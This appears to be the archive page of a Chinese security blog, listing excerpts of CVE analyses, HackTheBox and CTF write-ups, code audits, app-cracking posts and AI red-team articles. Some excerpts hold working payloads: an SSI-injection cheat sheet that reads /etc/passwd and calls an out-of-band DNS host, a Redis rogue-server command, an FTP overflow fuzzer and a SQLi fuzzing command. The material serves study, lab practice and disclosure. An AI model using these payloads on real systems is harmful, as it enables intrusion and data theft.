安全研究与工程实践 on @Unc1e

你买的是手，不是脑：拆开 Burp AT 之后，我分析协议开源了一个自己的 Burp MCP

Wed, 12 Aug 2026 00:20:00 +0800

Burp AT 证明渗透能力可以交给 AI，但它把模型锁在云端、生产场景审批疲劳。我分析了它的协议，照官方正门做了一套开源 burp-mcp-server，还补齐了红队闭环缺的脊椎——把手交还给你的 Agent。

Agent 会动手了，安全不能只停留在对话里——action 边界上的运行时设计

Sun, 02 Aug 2026 10:50:39 +0800

最近AI红队是越做越多了，有一半时间在想怎么打 Agent，另一半时间在想：

真要落地防护，应该长什么样（打完了，怎么防？）

我自己写过一个本地优先的 Agent Runtime Guard（ARG），也拆了下微软刚开源的 Agent Governance Toolkit（AGT）。拆完之后，判断其实挺清楚：

听不见的人，怎么玩 FPS 吃鸡?

Sat, 25 Jul 2026 10:40:15 +0800

听不见的人，怎么玩 FPS 吃鸡？

一台 ¥689 的“AI 脚步声增强”硬件，和一个让听障玩家“看见”声音的开源软件。我做电子信息出身，平时爱拆产品，把官方资料啃了一遍，又用数字电路的常识推了推。发现它俩解的是同一道题，答案比想象中朴素得多。

略读：LLM 添加不可见水印的原理

Mon, 04 May 2026 16:51:03 +0800

原文： https://arxiv.org/html/2301.10226v4

一篇论文把我卡住了—两个问题：水印是怎么打进去的？检测时到底需要什么？这篇是我拆完之后的记录。

AI 生成内容的鉴别，是一个正在被低估的问题。

Reverse OpenRouter

Sun, 26 Apr 2026 12:10:14 +0800

通过境外服务器反向代理 OpenRouter AI API，解决区域访问限制问题。

背景（SCQA）

S - 情境

海外 AI 服务（如生图、对话等）通常通过 OpenRouter 等聚合平台提供统一 API 接入，使用方式与 OpenAI SDK 兼容。

把 OpenAI 的隐私过滤模型，塞进红队的工具链

Sat, 25 Apr 2026 11:11:28 +0800

红队安全工具 — 将 OpenAI Privacy Filter 改造为 PII 结构化

提取 HTTP 网关

OpenAI 开源了一个叫 Privacy Filter 的小模型，能从非结构化文本里识别姓名、邮箱、电话、地址这些 PII。

我花了一晚上，把它改造成了一个 HTTP 网关服务，跑在 NVIDIA L20 上，双进程推理峰值 81 RPS，GPU 利用率干到了 98%。

文件哈希泄露的安全风险综述

Wed, 22 Apr 2026 08:18:49 +0800

:::danger 文件哈希泄露的安全风险综述

这个问题我专门查了一轮中英文资料。先给结论：“文件哈希泄露是否有危害”这件事，答案不是简单的是或否，而是高度依赖上下文。

GEO备忘录：给 AI 投毒的人

Mon, 06 Apr 2026 09:02:24 +0800

GEO备忘录：9.9 元，给 AI 下一剂毒

你有没有发现，最近你问 AI “推荐一款空气净化器”，它给你的答案，越来越像广告？

不是那种明摆着的广告。是那种——语气诚恳、条理清晰、引用了"多方测评"、看上去特别"客观"的推荐。

Minimax2.7 发布，我被 API_Key 设置坑了2小时（🤡山羊背锅）

Wed, 18 Mar 2026 23:39:59 +0800

今天花36$，开通了 minimax 国际版的 Token Plan套餐——决策理由是： minimax2.7 发布了，据说是高中生的 idea，因此 minimax 提供了加速套餐—可以跑到每秒 100Tok，比起别家，可以说相当快了。

从"邀请码有误"到二进制 Patch：一次 Tauri 逆向实践

Wed, 18 Mar 2026 22:57:34 +0800

拿到一款内测应用- Wukong，打开一看——弹出一个邀请码输入框。

邀请码？

我今天没搞到邀请码……

大多数人到这儿就放弃了。

我的第一反应是：这玩意是怎么实现的？

没想到这一研究，就花光了整个Coding Plan Pro套餐的额度。

长痛不如‘短痛’：30分钟解决七牛云 SSL 证书自动续期

Sun, 08 Mar 2026 22:39:07 +0800

我记得最早折腾七牛云 CDN 的 HTTPS，其实还挺兴奋的。那会儿觉得——免费 CDN + 免费证书，组合起来几乎就是“白嫖界的天花板”。但用着用着，很快就遇到了一个特别现实的问题：证书只有 90 天。

Android 逆向：LSPatch ，免 Root 补丁模式

Wed, 14 Jan 2026 20:31:56 +0800

:::success 如何是将你的 Hook 模块和 App 打包在一起？

思路是：用 LSPatch 将 LSPosed 框架嵌入到 APK 中，这样就不需要修改 App 的业务代码，而是

:::

嵌入式 Hook (LSPatch / XPatch) —— 最优雅的路线

这个路线最适合你现在的状态。如果你喜欢写 Hook (Java/Kotlin)，但不喜欢改 Smali (汇编)，那么这条路线非常适合你。思路

Android 逆向实战：从“电影猎手”破解看 App 状态机的攻防博弈

Wed, 14 Jan 2026 20:13:43 +0800

LXPOSED 模块：cc-aligned-debugSigned-xxxxQluvnDtXmttQ-.zip

原软件文件：DYLS-xxxxX9y9lvWKr5dr-.zip

修改版的无广告文件： dyls-3.1.2.0-noAd.zip

标签： Android逆向, Smali, 状态机, 逻辑漏洞

前言：当 Hook 遭遇“尸体文件”

在红队安全测试中，我们习惯了用 Frida 或 Xposed 进行 Hook，像外科医生一样精准修改内存。但最近在分析一款名为“电影猎手”的 App 时，我遇到了一次有趣的对抗。这次经历让我重新思考：最顶级的破解，往往不是对抗代码逻辑，而是重塑数据源头。

《一次硬核排查实录：Windows 11 的网络幻觉与失声之谜》

Sat, 03 Jan 2026 21:09:44 +0800

本文包含 AI 创作

背景：
原本只是想安安静静地写代码、连 NAS，结果陷入了 Windows 11 的两大经典泥潭：明明能上网却显示“无网络”（NCSI 误判），以及优化启动项后导致的“系统级失声”（音频服务崩溃）。

从 5900 到 443：VNC 如何在浏览器世界里活下来

Wed, 24 Dec 2025 22:11:14 +0800

我记得第一次在 HTB 靶场里，点开那个熟悉的 vnc.html，浏览器里直接弹出一整台靶机桌面的时候，心里其实是有点惊讶的——这玩意儿明明是 VNC 啊，不是该老老实实走 5900 端口、连 TigerVNC 客户端吗？
后来一层层拆下来，才发现这里面藏着一套挺“云原生”的设计哲学：WebSocket + VNC。

MPTCP 技术浅谈

Thu, 04 Dec 2025 22:41:22 +0800

本文是人为引导下的 AI 创作。

提示词

:::success 帮忙调研一下多路径TCP(MPTCP)技术，分析这种方式绕过 WAF 的可行性。

:::

先把结论说前面：
MPTCP 理论上可以制造「多路径可见性缺口」，在非常特定的网络+部署条件下，对 IDS/NIDS 的确存在绕过风险；但对主流 WAF（尤其是反向代理型 L7 WAF）来说，作为通用绕过手段几乎不可行，更像是一种需要刻意配合的「实验室级」攻击面。

OPPO Pad无线投屏方案：手机平板秒变“电脑副屏”，支持安卓和苹果！

Tue, 11 Nov 2025 22:13:02 +0800

结果

:::color4 安卓平板投屏.zip

:::

其中包含：

airpin-pro 5.0.2.apk
spacedesk - display_0.91.15.apk

两个选一个就行！

或者应用市场下载 AirScreen

最近帮朋友解决了一个挺有趣的小需求：

他新买了一台安卓平板，想拿来当 Mac 的扩展屏幕用，以便在工作时更方便对照文档。

LLM| 借助DSpy自动优化大模型的提示词

Thu, 07 Aug 2025 22:53:22 +0800

推荐阅读——让LLM自动微调模型：

https://dspy.ai/tutorials/rag/#using-a-dspy-optimizer-to-improve-your-rag-prompt
https://dspy.ai/tutorials/games/
用mlflow记录微调细节，https://mlflow.org/docs/latest/genai/flavors/dspy/optimizer/
优化Agent的提示词，让老师模型帮学生模型优化，https://dspy.ai/tutorials/agents/

DSpy 使用笔记

DSpy 是一个开源的 Python 框架，旨在通过模块化和声明式编程来构建语言模型应用程序。它使得与大型语言模型（LLM）的交互更加高效和可靠，避免了传统提示工程中的繁琐和不确定性。

从演讲视频生成 PPT：video2ppt 项目原理和体验

Sun, 08 Jun 2025 22:20:52 +0800

:::info 最近发现一个很有意思的项目，可以将演讲的视频自动转为 PPT，非常适合技术分享回顾、公开课整理等场景。

:::

项目地址：https://github.com/Wangxs404/video2ppt

背景与动机

会议录像、公开课、线下讲座等内容常常会包含大量静态展示的幻灯片页，但手动截图整理既低效又枯燥。如果能将视频自动分析，识别出每一页 PPT 并转为 PDF 或图片格式输出，不仅能提升效率，还方便分享与归档。

【转】x86 平台利用 qemu-user-static 实现 arm64 平台 docker 镜像的运行

Sun, 08 Jun 2025 22:16:54 +0800

[toc]

因为国产化的普及，尤其一些证券和银行行业，已经开始走信创的路线，后期也许会接触到国产 CPU （arm 平台，比如华为的鲲鹏处理器）

自己买 arm 平台的 CPU，这个成本着实吃不消，于是尝试 x86 平台运行 arm 平台的容器来降本增效

Golang 中 Gorilla/sessions 的会话伪造风险分析与复现

Wed, 21 May 2025 12:10:24 +0800

一次挺寻常的测试流程，项目跑在 Go 上，用的是大家常见的 Gorilla/sessions 管理 session……

背景

首先就发现 cookie 可 base64 解码，而且还可被 2 次解码……

这个 Cookie 是一个典型的 gorilla/sessions 的加密 CookieStore 会话值，格式上符合：

从字节招聘页没有「岗位发布时间」说起（含完整脚本与SOP）

Sun, 18 May 2025 20:04:41 +0800

起因

按惯例，最近了解一下行业的机会。打开字节跳动的招聘官网，准备看看相关岗位的要求。

点进去某个职位后，发现了一个头疼的事情：

页面上没有显示岗位的发布时间。

这事很怪。你不标时间，我怎么知道这个岗位是刚挂上去的，还是去年就一直在的老古董？总不能每个都投吧。

飞书文档去水印的三种技术实践（含实用脚本）

Fri, 16 May 2025 11:52:10 +0800

本文介绍如何在飞书文档 Web 页面中，去除自带的水印（通常包含姓名、手机号后四位）。内容涵盖分析流程与三种主流技术路径。

前言

飞书是国内主流的协作办公平台之一，文档带水印本意是溯源和防泄漏。不过在内部测试、公开演示、技术博客截图等场景下，水印常常让人尴尬：既影响观感，又容易暴露个人隐私。

红队必备！Frp反溯源增强版

Mon, 14 Apr 2025 21:03:41 +0800

frp 是个很棒的工具，高性能、稳定，值得使用。

但是，其配置文件经过2个版本的更迭（.ini ->.toml），其中的选项，对于新人来说稍显复杂。

[SOC]流量防护有效性：如何验证内网 IDS 是否在正常工作？

Mon, 16 Sep 2024 23:16:22 +0800

:::info http://www.testmyids.com/

:::

要确定内网入侵检测系统（IDS）是否正常运行并有效检测网络流量中的潜在威胁，可以采取一种实践方法来验证其功能。一个广为人知且常被用于此类测试的资源是

稳定抓包：通过透明代理抓取各个设备的流量（mitmproxy用法）

Fri, 24 Nov 2023 23:20:13 +0800

教程参考

https://blog.csdn.net/zhuxian1277/article/details/111875951

使用场景

mitmproxy 是一个功能强大的中间人代理工具，它允许你拦截、查看和修改客户端和服务器之间的流量。其透明代理模式使得 mitmproxy 在特定场景中非常有用，尤其是在需要对网络流量进行分析或测试时，而无需更改目标设备上的任何设置。

表单是蜜罐，PDF 才是目标：绕过那些假装需要你注册的网站

Fri, 03 Nov 2023 12:01:18 +0800

有些事你一旦知道了，就再也不会被“骗”第二次。

cheat on me？

我记得，第一次在一个安全厂商网站上下载白皮书的时候，弹出来一个“下载前请填写您的姓名、电话、邮箱、公司名称”的表单。

数据清洗篇-doc格式转docx的终极方案

Thu, 21 Sep 2023 11:45:01 +0800

doc -> docx

目标：批量将doc文件，转换为docx文件。

.doc老旧，是word 2003以及之前word保存类型；
.docx新，是 Word 2007之后（如2010、2013、2016等）版本的保存类型。

背景情况：

[SOC]使用Suricata防御Apereo CAS反序列化攻击

Tue, 08 Aug 2023 19:33:47 +0800

一、漏洞的攻击特征

漏洞的成因，是因为反序列化了用户的不可信输入，其中涉及到硬编码的key

攻击者，可以利用目标机器上已有的反序列化gadgets，执行恶意的操作。

【CVE-2022-36804】bitbucket 前台RCE漏洞

Tue, 30 Aug 2022 11:17:25 +0800

Critical severity command injection vulnerability - CVE-2022-36804

官方通告：https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html

准备diff下8.3.0 - 8.3.1，顺便熟悉下idea diff jar包的流程：

分析patch，发现了两处可疑的点：

patch#1

found bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2-atlassian-3.jar!/com/zaxxer/nuprocess/NuProcessBuilder.class

HackTheBox：Tenet笔记

Sun, 06 Mar 2022 23:14:53 +0800

Tenet 10.10.10.223
https://app.hackthebox.com/machines/Tenet/

export ip=10.10.10.223 && export url=http://10.10.10.223:80 && echo ok

信息收集

Nmap

Nmap scan report for 10.10.10.223
  Host is up (1.1s latency).
  Not shown: 65533 closed tcp ports (reset)
  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
  |   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
  |_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
  80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
  | http-methods: 
  |_  Supported Methods: GET POST OPTIONS HEAD
  |_http-title: Apache2 Ubuntu Default Page: It works
  |_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

聊聊Spring MVC中的AutoBinding漏洞

Thu, 21 Oct 2021 17:35:44 +0800

0x01 BackGround

Spring MVC，Spring Web model-view-controller (MVC) framework

软件框架有时允许开发人员自动将 HTTP 请求参数绑定到发起人或对象中，更容易使用框架开发人员开发方法。更新开发人员或者业务实现可以设计到的，而这些新的参数又会影响程序代码中不需要新的变量或对象参数。

pwnhub：内部赛【一起来拆盲盒-So_That_Login】WP

Thu, 21 Oct 2021 14:06:49 +0800

题目本身

没有任何回显，先后尝试了用ffuf、Burp来FUZZ，

./ffuf -w /opt/dic/SecLists/Fuzzing/SQLi/Generic-BlindSQLi.fuzzdb.txt -u  http://121.40.89.206:8088/index.php   -d "username=FUZZ&passwd="

全程只有两种响应（均为200）

1）检测到违规关键字时：

返回alert('No,way! hacker!');
Content-Length: 42

2）代入了SQL查询时：

CVE-2021-41714：Tipask PostAuth LFR

Thu, 23 Sep 2021 12:49:45 +0800

1、Intro

Tipask: Tipask is an open source PHP Question&Answer system developed based on the Laravel framework that is easy to scale and has strong load capacity and stability.
Tipask < 3.5.9， which fails to validate the path parameters entered by the user when downloading attachments, **a registered user can download arbitratry file on the Tipask server， **such as .env, /etc/passwd, laravel.log and so on, casuing infomation leakage.
This vulnerability is CREDITED to the following entity：

Qi'An Xin Technology Group, Network Security Department, Product-Security Team

（1）Vendor

Official Site：https://www.tipask.com/

pwnhub：【迎中秋】BabyExec writeup

Fri, 17 Sep 2021 14:13:44 +0800

第一次投稿pwnhub，希望能加入咱们这个优秀的社区！

一、引子：真正的md5碰撞

题面

<?php
error_reporting(0);
highlight_file(__FILE__);

if ((string)$_GET['x'] !== (string)$_GET['y'] && md5($_GET['x']) === md5($_GET['y'])) {
    if(!isset($_GET['shell'])){
        echo "Attack me!";
    } else {
        $shell = $_GET['shell'];
        if(!preg_match("/[a-zA-Z0-9_$@]+/",$shell)){
            eval($shell);
        } else {
            die('No,No,No! Keep it up......'); 
        }
    }
} else {
    die("No, way!");
}

?>

md5校验：

不使用弱类型，在x、y不相同的情况下，让md5(x) 、 md5(y)相等，老生常谈了。

【负责任的漏洞披露】Tipask存在后台本地文件任意下载漏洞

Thu, 16 Sep 2021 15:34:53 +0800

http://tipask/attach/download/attachments-2021-09-4oFjTAjm6142e9d617e23.pdf

                                        attachments-2021-09-4oFjTAjm6142e9d617e23.pdf

E:\Desktop\CodeAudit\v3.5.5\storage\app\ attachments\2021\09



E:\Desktop\CodeAudit\v3.5.5\storage\logs\laravel.log


# 
E:\Desktop\CodeAudit\v3.5.5\storage\app\..-logs-laravel.log

E:\Desktop\CodeAudit\v3.5.5\.env
 
  E:\Desktop\CodeAudit\v3.5.5\storage\app\..-..-.env

Tipask最新版本存在“本地文件任意下载”漏洞，攻击者可构造特制的输入，下载Tipask服务器上的任意文件，如.env，/etc/passwd，laravel.log等，泄露服务器上的重要敏感信息，危害较大，目前公网有约700+的客户可能受影响。

渗透测试中如何获取源代码

Tue, 31 Aug 2021 22:14:19 +0800

借最近的一个案例，来聊聊实战中获取源码的一些姿势。

（也是前段时间某次闭门分享的素材：hope you guys enjoy it~

Liquid Files

Liquid Files是国外的一款网盘，官网：https://www.liquidfiles.com/

【CVE-2013-4730】PCMan's FTP Server缓冲区溢出漏洞学习

Fri, 27 Aug 2021 00:40:17 +0800

【CVE-2013-4730】PCMan’s FTP Server

课程地址：https://www.secpulse.com/archives/116030.html

https://www.aqniukt.com/goods/show/597?targetId=12784&preview=0

安装WindowsXP

Windows XP Home Edition 简体中文零售版原版 CD-KEY

BQJG2-2MJT7-H7F6K-XW98B-4HQRQ

溢出的基本步骤

1. 捕获异常

import socket 
import sys

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("pacman",21))

# login BOF
# 确定此处有bof导致的crash
# 2000的时候就挂了
for i in range(1990, 2050):
	if i % 1 == 0:
		s.send(b"USER: " + "A".encode()*i + "\r\n".encode())
		data = s.recv(1024)
		print(str(i) + ":" + data.decode())

Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php#2 （bypass of CVE-2020-35337）

Fri, 30 Jul 2021 23:28:07 +0800

**漏洞名称：**ThinkSAAS最新版app/topic/action/admin/topic.php存在SQL注入漏洞（需要管理员权限）

Spring Actuator未授权漏洞复现笔记

Wed, 07 Jul 2021 16:51:03 +0800

〇、背景

Actuator 端点允许您监视应用程序并与之交互。Spring Boot 包含许多内置端点，您也可以添加自己的端点。例如， health端点提供基本的应用程序健康信息。

聊聊经典的ssi注入

Fri, 11 Jun 2021 15:26:47 +0800

0x00 速查表

关键词exec、cmd不区分大小写，可考虑大小写组合绕过

"-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="nslookup -q=cname vul.ssi.0yuj7c.ceye.io" -->


"-->'-->`--><!--#set var="wyk" value="vxjn0kj8s5"--><!--#set var="y0m" value="xzlp2mlau7"--><!--#echo var="wyk"--><!--#echo var="y0m"--><!--#eXEc cMd="cat /etc/passwd" -->

常用命令

# General PoC
<!--#eXEc cMd="ping -c 4 127.0.0.1|| ping -n 4 127.0.0.1
" -->


# Linux
<!--#eXEc cMd="cat /etc/passwd" -->
<!--#Exec cmD="ls" -->
<!--#eXEc cMd="sleep 5" -->

# windows
<!--#eXEc cMd="dir" -->

0x01 概念介绍

以下内容整理自Apache httpd tutorial[1]，灰色部分可以不看（TL;DR）：

【CVE-2016–3714】ImageMagick命令执行漏洞

Sun, 30 May 2021 19:49:44 +0800

0x00 背景

ImageMagick是一个 Web 服务常用来处理图像的包，在处理用户提交的图像时存在多个漏洞，有CVE-2016-3714、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717，其中最严重的就是CVE-2016-3714，此漏洞可能会导致远程代码执行 (RCE)。

【CVE-2020-9496】Apache OfBiz 反序列化命令执行漏洞

Tue, 25 May 2021 15:02:21 +0800

0x01 漏洞背景

Apache OFBiz是一个非常著名的电子商务平台，是一个非常著名的开源项目，提供了创建基于最新J2EE/XML规范和技术标准，构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。默认可使用用户名：admin、密码：ofbiz登录

HackTheBox：Monitors笔记

Tue, 18 May 2021 23:19:26 +0800

信息收集

Nmap

Nmap scan report for Monitors.HTB (10.10.10.238)
Host is up (0.30s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor &#8211; Taking hardware monitoring seriously
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

WordPress version 5.5.1，不允许注册

HackTheBox：Ready笔记

Sun, 09 May 2021 01:32:13 +0800

入口

Nmap

http://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE)

如何获取Gitlab版本呢？——根据https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab，可知

注册用户、上去看到版本

搜索之，有exp

https://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py

顺利拿到git用户shell

提权

version: '2.4'

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m

networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

跟进

Attacking GraphQL——从DVGA靶场学习GraphQL安全

Wed, 28 Apr 2021 17:29:00 +0800

0x00 背景

首先介绍一下：什么是GraphQL，参考这篇文章即可

See:https://zhuanlan.zhihu.com/p/124019191、

客户端首先与GraphQL进行交互，后者又与任意代码进行交互，并最终结束与数据库的对话。描述这种情况的图是：

Redis <= 5.0.5 主从复制 RCE学习笔记

Sat, 20 Mar 2021 18:50:32 +0800

# Redis <= 5.0.5
 python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443

redis-rogue-server_poison.zip

一、前言

环境搭建

使用docker搭建好环境

docker pull damonevking/redis5.0 
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

正常使用主从功能

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。

【CVE-2016-4977】Spring Security OAuth RCE 漏洞学习

Thu, 18 Mar 2021 14:38:32 +0800

0x01 背景

Spring Security OAuth是为Spring框架提供安全认证支持的一个模块，在7月5日其维护者发布了这样一个升级公告，主要说明在用户使用Whitelabel views来处理错误时，攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的挖掘记录。

SpEL表达式注入！

（1）受影响版本

org.springframework.security.oauth - spring-security-oauth2

2.0.0 to 2.0.9
1.0.0 to 1.0.5

到maven仓库看了看，发现2.0.X是2016年2月发的包，也就是说发布后半年左右被挖出来有漏洞。从这一点，我们也能得出一个结论：黑客并不是时时刻刻在关注官方更新，也就是说：真实世界的0day漏洞，总是有机会被你挖到的。

而1.X是全系有漏洞。

【翻译】OWASP NodeJS 安全

Tue, 09 Feb 2021 11:47:12 +0800

直接看PDF就好。

【翻译】OWASP_NodeJS安全.pdf

【投稿】某运维系统的代码审计笔记（Django+MongoDB+Redis）

Fri, 05 Feb 2021 05:14:41 +0800

本文首发投稿于阿里云先知社区某运维系统的代码审计笔记（Django+MongoDB+Redis），转载请注明出处。

这套系统，是在某次行动的时候遇到的，当时是通过弱密码+后台命令注入来实现getshell。

后续觉得还蛮有意思，抽个周六审计了下，却发现在某些情况下居然可以直接前台RCE。。。

【投稿】记一次Java Servlet实战审计

Sun, 24 Jan 2021 11:10:37 +0800

本文首发于阿里云先知社区记一次Java Servlet实战审计 - 先知社区，转载请注明出处。

感谢观看！

0x00 背景

某次渗透中，遇到个jsp的站，弱密码进到后台以后，却发现功能很少，并不好搞，简单排查后并无突破，然而老大给的要求是尽快搞到shell。。。

Spark 未授权RCE漏洞

Tue, 19 Jan 2021 16:28:52 +0800

Spark这套计算框架，有多种部署方式，可以部署到一台计算机，也可以是多台(cluster)。我们要去计算数据，就必须要有计算机帮我们计算，当然计算机越多(集群规模越大)，我们的计算力就越强。但有时候我们只想在本机做个试验或者小型的计算，因此直接部署在单机上也是可以的。

利用PCRE回溯绕过PHP中的正则表达式

Fri, 15 Jan 2021 15:16:34 +0800

正则表达式简介

PHP 正则表达式特殊字符 [:alnum:] [:alpha:] 等

For example, ‘[[:alnum:]]’ means ‘[0-9A-Za-z]’,

正则表达式中有两个很重要的特殊字符就是"[ ]"。他们可以匹配"[]"之中出现过的字符，比如"/[az]/"可以匹配单个字符"a"或者"z"；如果把上面的表达式改成这样"/[a-z]/"，就可以匹配任何单个小写字母，比如"a"、"b"等等。
如果在"[]"中出现了"^"，代表本表达式不匹配"[]"内出现的字符，比如"/[^a-z]/"不匹配任何小写字母！并且正则表达式给出了几种"[]"的默认值，如下：

# '[:alnum:]' 匹配任何字母
Alphanumeric characters: '[:alpha:]' and '[:digit:]'.

# '[:alpha:]' 匹配任何字母和数字
Alphabetic characters: '[:lower:]' and '[:upper:]'.

# '[:blank:]'
Blank characters: space and tab.

# '[:cntrl:]'
Control characters. In ASCII, these characters have octal codes 000 through 037, and 177 ('DEL'). In other character sets, these are the equivalent characters, if any.

# '[:digit:]' 匹配任何数字
Digits: '0 1 2 3 4 5 6 7 8 9'.

# '[:graph:]'
Graphical characters: '[:alnum:]' and '[:punct:]'.

# '[:lower:]' 匹配任何小写字母
Lower-case letters: 'a b c d e f g h i j k l m n o p q r s t u v w
x y z'.

# '[:print:]'
Printable characters: '[:alnum:]', '[:punct:]', and space.

# '[:punct:]' 匹配任何标点符号
Punctuation characters: '! " # $ % & ' ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ ' { | } ~'.

# '[:space:]' 匹配空格符
Space characters: tab, newline, vertical tab, form feed, carriage
return, and space.

# '[:upper:]' 匹配任何大写字母
Upper-case letters: 'A B C D E F G H I J K L M N O P Q R S T U V W
X Y Z'.

# '[:xdigit:]' 匹配任何16进制数字
Hexadecimal digits: '0 1 2 3 4 5 6 7 8 9 A B C D E F a b c d e f'.

背景介绍

首先，来看一段在waf上很常见的正则，

Code-Breaking 审计记录[7/9]

Fri, 15 Jan 2021 11:41:35 +0800

地址：https://code-breaking.com/intro/

0x08 picklecode

Hard

首先，需要补充以下格式化字符串漏洞的知识，见https://blog.csdn.net/wenrennaoda/article/details/107224921

的确是存在格式化字符串漏洞的。那首先就要利用此洞来泄露Django的SECRET_KEY，这可以通过本地PHPCharm搭建环境来找到

聊聊PHP中的弱类型

Mon, 11 Jan 2021 17:31:01 +0800

PHP代码审计中常见的一种技巧：弱类型，英文名叫type Juggling，基本的概念如下：

PHP 8 以前，在使用==比较或任何有弱类型转换的情况时，字符串都会先被转换成数字，再和数字进行比较。

SSRF【绕过姿势】

Tue, 29 Dec 2020 18:23:11 +0800

本文主要介绍SSRF漏洞受到各种限制时，常见的绕过姿势。

（图片来自 SSRF漏洞Bypass技巧）

0x00 URL scheme

第一部分：协议名(以单个冒号结束)
第二部分：用户信息 也就是账号密码！(登陆ftp时常用)
第三部分：主机名(也就是域名)
第四部分：端口
第五部分：查询内容，包含【path+param】，这里有个bug。应该是?号后的内容才是查询！ 
第六部分：Fragment ID(不会发送到服务器！)

1.提取协议名：

Flask debug 模式 PIN 码生成机制安全性复现笔记

Sun, 06 Dec 2020 23:45:51 +0800

Flask开启debug模式等于给黑客留了后门，就Flask在生产网络中开启debug模式可能产生的安全问题做了一个简要的分析。其中有一个比较严重的安全问题是，可以在交互式Python shell中执行自定义Python代码。就这一点来讲，在旧版本的Flask中是不需要输入PIN码认证就可以执行代码，其危害不言而喻。

在新版本的Flask中需要输入PIN码进行认证，才能执行自定义代码，于攻击者来说，这显然有点鸡肋了。

Thinksaas has a Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php

Thu, 03 Dec 2020 16:19:30 +0800

代码审计笔记

limit参数鸡肋注入

app/article/action/api/list.php#L28

PoC

调试, 可以看到limit参数已经被完整带入了, 只不过由于mysqli_query无法执行多语句查询而显得鸡肋罢了…

SSRF【原理及修复】

Mon, 16 Nov 2020 00:03:42 +0800

本文站在安全工程师的角度，分析了PHP中SSRF的成因及修复方案。通过在vps上作实验，介绍不同成因导致的SSRF漏洞的危害和限制，并在最后给出安全编码的示例。

手把手教你用Docker搭建CTF靶场环境

Sat, 07 Nov 2020 23:47:08 +0800

安装Docker

略，参考CentOS Docker 安装来操作即可

curl -sSL https://get.daocloud.io/docker | sh

卸载旧版本

sudo yum remove docker \
                 docker-client \
                 docker-client-latest \
                 docker-common \
                 docker-latest \
                 docker-latest-logrotate \
                 docker-logrotate \
                 docker-engine

注意：需要开启iptables

service iptables restart

重启docker

service docker restart

编写Dockerfile

寻找初始环境

Dockerfile里的第一行，就是你CTF题的初始环境。如下所示，

FROM drupalci/php-5.5.38-apache:dev

代表的就是从hub.docker.com/r/drupalci/php-5.5.38-apache拉的镜像作为初始环境。

那这个初始环境到哪里去找呢？

只需要在https://hub.docker.com里搜索合适的版本即可。此处要注意必须写出tag，也就是上面冒号后面的dev，它指明了镜像里中间件的版本，常见的tag是latest。

调整环境参数

